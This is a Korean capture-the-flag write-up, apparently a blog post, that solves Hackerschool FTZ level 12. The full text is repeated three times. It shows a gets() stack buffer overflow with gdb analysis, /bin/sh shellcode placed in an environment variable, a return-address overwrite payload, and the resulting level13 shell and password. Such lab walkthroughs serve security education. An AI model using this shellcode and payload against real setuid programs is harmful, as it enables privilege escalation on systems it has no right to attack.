[FTZ] level 12 → level 13 문제풀이 본문

Pwnable/해커스쿨 FTZ write-up

[FTZ] level 12 → level 13 문제풀이

disso1p1 2020. 2. 29. 21:11

 

 

 

level12 - id : level12 , pw : it is like this

 

 

[level12@ftz level12]$ ls
attackme  hint	public_html  tmp
[level12@ftz level12]$ cat hint


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main( void )
{
	char str[256];

 	setreuid( 3093, 3093 );
	printf( "문장을 입력하세요.\n" );
	gets( str );
	printf( "%s\n", str );
}  


[level12@ftz level12]$ 

 

이 문제도 level11 문제와 같은 문제인데,

인자값이 아니라 표준입력으로 입력 받는다는 차이가 있다.

 

gets 함수도 마찬가지로 최대 입력 받는 문자의 개수를 정하지 않기 때문에

BOF 취약점이 발생한다.

 

 

tmp 파일에 attackme 파일을 복사해서 gdb 로 dummy 값을 구해보자.

 

[level12@ftz level12]$ cp attackme tmp
[level12@ftz level12]$ cd tmp
[level12@ftz tmp]$ ls
attackme
[level12@ftz tmp]$ gdb -q attackme 
(gdb) set disas intel
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>:	push   ebp
0x08048471 <main+1>:	mov    ebp,esp
0x08048473 <main+3>:	sub    esp,0x108
0x08048479 <main+9>:	sub    esp,0x8
0x0804847c <main+12>:	push   0xc15
0x08048481 <main+17>:	push   0xc15
0x08048486 <main+22>:	call   0x804835c <setreuid>
0x0804848b <main+27>:	add    esp,0x10
0x0804848e <main+30>:	sub    esp,0xc
0x08048491 <main+33>:	push   0x8048538
0x08048496 <main+38>:	call   0x804834c <printf>
0x0804849b <main+43>:	add    esp,0x10
0x0804849e <main+46>:	sub    esp,0xc
0x080484a1 <main+49>:	lea    eax,[ebp-264]
0x080484a7 <main+55>:	push   eax
0x080484a8 <main+56>:	call   0x804831c <gets>
0x080484ad <main+61>:	add    esp,0x10
0x080484b0 <main+64>:	sub    esp,0x8
0x080484b3 <main+67>:	lea    eax,[ebp-264]
0x080484b9 <main+73>:	push   eax
0x080484ba <main+74>:	push   0x804854c
0x080484bf <main+79>:	call   0x804834c <printf>
---Type <return> to continue, or q <return> to quit---
0x080484c4 <main+84>:	add    esp,0x10
0x080484c7 <main+87>:	leave  
0x080484c8 <main+88>:	ret    
0x080484c9 <main+89>:	lea    esi,[esi]
0x080484cc <main+92>:	nop    
0x080484cd <main+93>:	nop    
0x080484ce <main+94>:	nop    
0x080484cf <main+95>:	nop    
End of assembler dump.
(gdb) 

 

0x080484a8 <main+49> 부터 보면

gets 함수로 ebp-264 자리부터 값을 입력받는 것을 볼 수 있다.

 

변수 str 은 256 byte 이므로 dummy 는 12 byte 이다.

 

즉,

 

str(256) + dummy(12) + sfp(4) + ret(4)

 

이런 구조이다.

 

 

쉘코드를 실행시키는 환경변수를 만들어보자.

 

 

쉘코드는

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

이것을 사용했다. (24byte)

 

[level12@ftz tmp]$ export SHELL=$(python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50
\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')
[level12@ftz tmp]$ env
HOSTNAME=ftz.hackerschool.org
TERM=xterm-256color
SHELL=1�Ph//shh/bin‰�PS‰�™�
                           �€
JLESSCHARSET=ko
HISTSIZE=1000
SSH_CLIENT=172.16.21.1 64301 22
OLDPWD=/home/level12
SSH_TTY=/dev/pts/1
USER=level12
LS_COLORS=
MAIL=/var/spool/mail/level12
PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/level12/bin
INPUTRC=/etc/inputrc
PWD=/home/level12/tmp
LANG=ko_KR.euckr
PS1=[\u@\h \W]$ 
SHLVL=1
HOME=/home/level12
BASH_ENV=/home/level12/.bashrc
LOGNAME=level12
SSH_CONNECTION=172.16.21.1 64301 172.16.21.128 22
LESSOPEN=|/usr/bin/lesspipe.sh %s
G_BROKEN_FILENAMES=1
_=/bin/env
[level12@ftz tmp]$ 

 

SHELL 이라는 이름으로 환경변수를 만들었다.

 

 

C 로 코드를 짜서 이 환경변수의 주소를 구해보자.

 

[level12@ftz tmp]$ vi sh.c

#include<stdio.h>

int main()
{
        printf("%p\n", getenv("SHELL"));
  
        return 0;
}       
~
~
~
~
~
~
~
~
~
~
~
~
~
~
[level12@ftz tmp]$ gcc -o sh sh.c
[level12@ftz tmp]$ ls
attackme  sh  sh.c
[level12@ftz tmp]$ ./sh
0xbffffd95
[level12@ftz tmp]$ 

 

SHELL 환경변수의 주소는 0xbffffd95 이다.

 

sfp 까지(268 byte) 모두 A 로 덮고 ret 을 0xbffffd95 로 덮으면 쉘을 딸 수 있겠다.

 

그러려면 python 을 이용하여 입력해야하는데

표준입력으로 입력 받는다.

 

이럴 때는 

$ (python -c 'print "A"*268 + "\x95\xfd\xff\xbf"';cat) | ./attackme

 

이런 식으로 입력하면 된다.

 

cat 을 넣은 이유는 쉘을 딴 상태에서 계속 유지하기 위해서이다.

 

 

자신의 터미널에 cat 을 입력하면 더 쉽게 이해할 수 있을 것이다.

 

 

[level12@ftz tmp]$ cd ..
[level12@ftz level12]$ (python -c 'print "A"*268 + "\x95\xfd\xff\xbf"';cat) | ./attackme 
문장을 입력하세요.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA•���
id
uid=3093(level13) gid=3092(level12) groups=3092(level12)
my-pass
TERM environment variable not set.

Level13 Password is "have no clue".

 

uid 가 level13 으로 바뀐 것을 확인할 수 있다.

 

 

 

 

Level13 Password is "have no clue".

 

 

감사합니다

 

 

 

level12 - id : level12 , pw : it is like this

 

 

[level12@ftz level12]$ ls
attackme  hint	public_html  tmp
[level12@ftz level12]$ cat hint


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main( void )
{
	char str[256];

 	setreuid( 3093, 3093 );
	printf( "문장을 입력하세요.\n" );
	gets( str );
	printf( "%s\n", str );
}  


[level12@ftz level12]$ 

 

이 문제도 level11 문제와 같은 문제인데,

인자값이 아니라 표준입력으로 입력 받는다는 차이가 있다.

 

gets 함수도 마찬가지로 최대 입력 받는 문자의 개수를 정하지 않기 때문에

BOF 취약점이 발생한다.

 

 

tmp 파일에 attackme 파일을 복사해서 gdb 로 dummy 값을 구해보자.

 

[level12@ftz level12]$ cp attackme tmp
[level12@ftz level12]$ cd tmp
[level12@ftz tmp]$ ls
attackme
[level12@ftz tmp]$ gdb -q attackme 
(gdb) set disas intel
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>:	push   ebp
0x08048471 <main+1>:	mov    ebp,esp
0x08048473 <main+3>:	sub    esp,0x108
0x08048479 <main+9>:	sub    esp,0x8
0x0804847c <main+12>:	push   0xc15
0x08048481 <main+17>:	push   0xc15
0x08048486 <main+22>:	call   0x804835c <setreuid>
0x0804848b <main+27>:	add    esp,0x10
0x0804848e <main+30>:	sub    esp,0xc
0x08048491 <main+33>:	push   0x8048538
0x08048496 <main+38>:	call   0x804834c <printf>
0x0804849b <main+43>:	add    esp,0x10
0x0804849e <main+46>:	sub    esp,0xc
0x080484a1 <main+49>:	lea    eax,[ebp-264]
0x080484a7 <main+55>:	push   eax
0x080484a8 <main+56>:	call   0x804831c <gets>
0x080484ad <main+61>:	add    esp,0x10
0x080484b0 <main+64>:	sub    esp,0x8
0x080484b3 <main+67>:	lea    eax,[ebp-264]
0x080484b9 <main+73>:	push   eax
0x080484ba <main+74>:	push   0x804854c
0x080484bf <main+79>:	call   0x804834c <printf>
---Type <return> to continue, or q <return> to quit---
0x080484c4 <main+84>:	add    esp,0x10
0x080484c7 <main+87>:	leave  
0x080484c8 <main+88>:	ret    
0x080484c9 <main+89>:	lea    esi,[esi]
0x080484cc <main+92>:	nop    
0x080484cd <main+93>:	nop    
0x080484ce <main+94>:	nop    
0x080484cf <main+95>:	nop    
End of assembler dump.
(gdb) 

 

0x080484a8 <main+49> 부터 보면

gets 함수로 ebp-264 자리부터 값을 입력받는 것을 볼 수 있다.

 

변수 str 은 256 byte 이므로 dummy 는 12 byte 이다.

 

즉,

 

str(256) + dummy(12) + sfp(4) + ret(4)

 

이런 구조이다.

 

 

쉘코드를 실행시키는 환경변수를 만들어보자.

 

 

쉘코드는

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

이것을 사용했다. (24byte)

 

[level12@ftz tmp]$ export SHELL=$(python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50
\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')
[level12@ftz tmp]$ env
HOSTNAME=ftz.hackerschool.org
TERM=xterm-256color
SHELL=1�Ph//shh/bin‰�PS‰�™�
                           �€
JLESSCHARSET=ko
HISTSIZE=1000
SSH_CLIENT=172.16.21.1 64301 22
OLDPWD=/home/level12
SSH_TTY=/dev/pts/1
USER=level12
LS_COLORS=
MAIL=/var/spool/mail/level12
PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/level12/bin
INPUTRC=/etc/inputrc
PWD=/home/level12/tmp
LANG=ko_KR.euckr
PS1=[\u@\h \W]$ 
SHLVL=1
HOME=/home/level12
BASH_ENV=/home/level12/.bashrc
LOGNAME=level12
SSH_CONNECTION=172.16.21.1 64301 172.16.21.128 22
LESSOPEN=|/usr/bin/lesspipe.sh %s
G_BROKEN_FILENAMES=1
_=/bin/env
[level12@ftz tmp]$ 

 

SHELL 이라는 이름으로 환경변수를 만들었다.

 

 

C 로 코드를 짜서 이 환경변수의 주소를 구해보자.

 

[level12@ftz tmp]$ vi sh.c

#include<stdio.h>

int main()
{
        printf("%p\n", getenv("SHELL"));
  
        return 0;
}       
~
~
~
~
~
~
~
~
~
~
~
~
~
~
[level12@ftz tmp]$ gcc -o sh sh.c
[level12@ftz tmp]$ ls
attackme  sh  sh.c
[level12@ftz tmp]$ ./sh
0xbffffd95
[level12@ftz tmp]$ 

 

SHELL 환경변수의 주소는 0xbffffd95 이다.

 

sfp 까지(268 byte) 모두 A 로 덮고 ret 을 0xbffffd95 로 덮으면 쉘을 딸 수 있겠다.

 

그러려면 python 을 이용하여 입력해야하는데

표준입력으로 입력 받는다.

 

이럴 때는 

$ (python -c 'print "A"*268 + "\x95\xfd\xff\xbf"';cat) | ./attackme

 

이런 식으로 입력하면 된다.

 

cat 을 넣은 이유는 쉘을 딴 상태에서 계속 유지하기 위해서이다.

 

 

자신의 터미널에 cat 을 입력하면 더 쉽게 이해할 수 있을 것이다.

 

 

[level12@ftz tmp]$ cd ..
[level12@ftz level12]$ (python -c 'print "A"*268 + "\x95\xfd\xff\xbf"';cat) | ./attackme 
문장을 입력하세요.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA•���
id
uid=3093(level13) gid=3092(level12) groups=3092(level12)
my-pass
TERM environment variable not set.

Level13 Password is "have no clue".

 

uid 가 level13 으로 바뀐 것을 확인할 수 있다.

 

 

 

 

Level13 Password is "have no clue".

 

 

감사합니다

 

 

 

level12 - id : level12 , pw : it is like this

 

 

[level12@ftz level12]$ ls
attackme  hint	public_html  tmp
[level12@ftz level12]$ cat hint


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main( void )
{
	char str[256];

 	setreuid( 3093, 3093 );
	printf( "문장을 입력하세요.\n" );
	gets( str );
	printf( "%s\n", str );
}  


[level12@ftz level12]$ 

 

이 문제도 level11 문제와 같은 문제인데,

인자값이 아니라 표준입력으로 입력 받는다는 차이가 있다.

 

gets 함수도 마찬가지로 최대 입력 받는 문자의 개수를 정하지 않기 때문에

BOF 취약점이 발생한다.

 

 

tmp 파일에 attackme 파일을 복사해서 gdb 로 dummy 값을 구해보자.

 

[level12@ftz level12]$ cp attackme tmp
[level12@ftz level12]$ cd tmp
[level12@ftz tmp]$ ls
attackme
[level12@ftz tmp]$ gdb -q attackme 
(gdb) set disas intel
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>:	push   ebp
0x08048471 <main+1>:	mov    ebp,esp
0x08048473 <main+3>:	sub    esp,0x108
0x08048479 <main+9>:	sub    esp,0x8
0x0804847c <main+12>:	push   0xc15
0x08048481 <main+17>:	push   0xc15
0x08048486 <main+22>:	call   0x804835c <setreuid>
0x0804848b <main+27>:	add    esp,0x10
0x0804848e <main+30>:	sub    esp,0xc
0x08048491 <main+33>:	push   0x8048538
0x08048496 <main+38>:	call   0x804834c <printf>
0x0804849b <main+43>:	add    esp,0x10
0x0804849e <main+46>:	sub    esp,0xc
0x080484a1 <main+49>:	lea    eax,[ebp-264]
0x080484a7 <main+55>:	push   eax
0x080484a8 <main+56>:	call   0x804831c <gets>
0x080484ad <main+61>:	add    esp,0x10
0x080484b0 <main+64>:	sub    esp,0x8
0x080484b3 <main+67>:	lea    eax,[ebp-264]
0x080484b9 <main+73>:	push   eax
0x080484ba <main+74>:	push   0x804854c
0x080484bf <main+79>:	call   0x804834c <printf>
---Type <return> to continue, or q <return> to quit---
0x080484c4 <main+84>:	add    esp,0x10
0x080484c7 <main+87>:	leave  
0x080484c8 <main+88>:	ret    
0x080484c9 <main+89>:	lea    esi,[esi]
0x080484cc <main+92>:	nop    
0x080484cd <main+93>:	nop    
0x080484ce <main+94>:	nop    
0x080484cf <main+95>:	nop    
End of assembler dump.
(gdb) 

 

0x080484a8 <main+49> 부터 보면

gets 함수로 ebp-264 자리부터 값을 입력받는 것을 볼 수 있다.

 

변수 str 은 256 byte 이므로 dummy 는 12 byte 이다.

 

즉,

 

str(256) + dummy(12) + sfp(4) + ret(4)

 

이런 구조이다.

 

 

쉘코드를 실행시키는 환경변수를 만들어보자.

 

 

쉘코드는

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

이것을 사용했다. (24byte)

 

[level12@ftz tmp]$ export SHELL=$(python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50
\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')
[level12@ftz tmp]$ env
HOSTNAME=ftz.hackerschool.org
TERM=xterm-256color
SHELL=1�Ph//shh/bin‰�PS‰�™�
                           �€
JLESSCHARSET=ko
HISTSIZE=1000
SSH_CLIENT=172.16.21.1 64301 22
OLDPWD=/home/level12
SSH_TTY=/dev/pts/1
USER=level12
LS_COLORS=
MAIL=/var/spool/mail/level12
PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/level12/bin
INPUTRC=/etc/inputrc
PWD=/home/level12/tmp
LANG=ko_KR.euckr
PS1=[\u@\h \W]$ 
SHLVL=1
HOME=/home/level12
BASH_ENV=/home/level12/.bashrc
LOGNAME=level12
SSH_CONNECTION=172.16.21.1 64301 172.16.21.128 22
LESSOPEN=|/usr/bin/lesspipe.sh %s
G_BROKEN_FILENAMES=1
_=/bin/env
[level12@ftz tmp]$ 

 

SHELL 이라는 이름으로 환경변수를 만들었다.

 

 

C 로 코드를 짜서 이 환경변수의 주소를 구해보자.

 

[level12@ftz tmp]$ vi sh.c

#include<stdio.h>

int main()
{
        printf("%p\n", getenv("SHELL"));
  
        return 0;
}       
~
~
~
~
~
~
~
~
~
~
~
~
~
~
[level12@ftz tmp]$ gcc -o sh sh.c
[level12@ftz tmp]$ ls
attackme  sh  sh.c
[level12@ftz tmp]$ ./sh
0xbffffd95
[level12@ftz tmp]$ 

 

SHELL 환경변수의 주소는 0xbffffd95 이다.

 

sfp 까지(268 byte) 모두 A 로 덮고 ret 을 0xbffffd95 로 덮으면 쉘을 딸 수 있겠다.

 

그러려면 python 을 이용하여 입력해야하는데

표준입력으로 입력 받는다.

 

이럴 때는 

$ (python -c 'print "A"*268 + "\x95\xfd\xff\xbf"';cat) | ./attackme

 

이런 식으로 입력하면 된다.

 

cat 을 넣은 이유는 쉘을 딴 상태에서 계속 유지하기 위해서이다.

 

 

자신의 터미널에 cat 을 입력하면 더 쉽게 이해할 수 있을 것이다.

 

 

[level12@ftz tmp]$ cd ..
[level12@ftz level12]$ (python -c 'print "A"*268 + "\x95\xfd\xff\xbf"';cat) | ./attackme 
문장을 입력하세요.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA•���
id
uid=3093(level13) gid=3092(level12) groups=3092(level12)
my-pass
TERM environment variable not set.

Level13 Password is "have no clue".

 

uid 가 level13 으로 바뀐 것을 확인할 수 있다.

 

 

 

 

Level13 Password is "have no clue".

 

 

감사합니다

Comments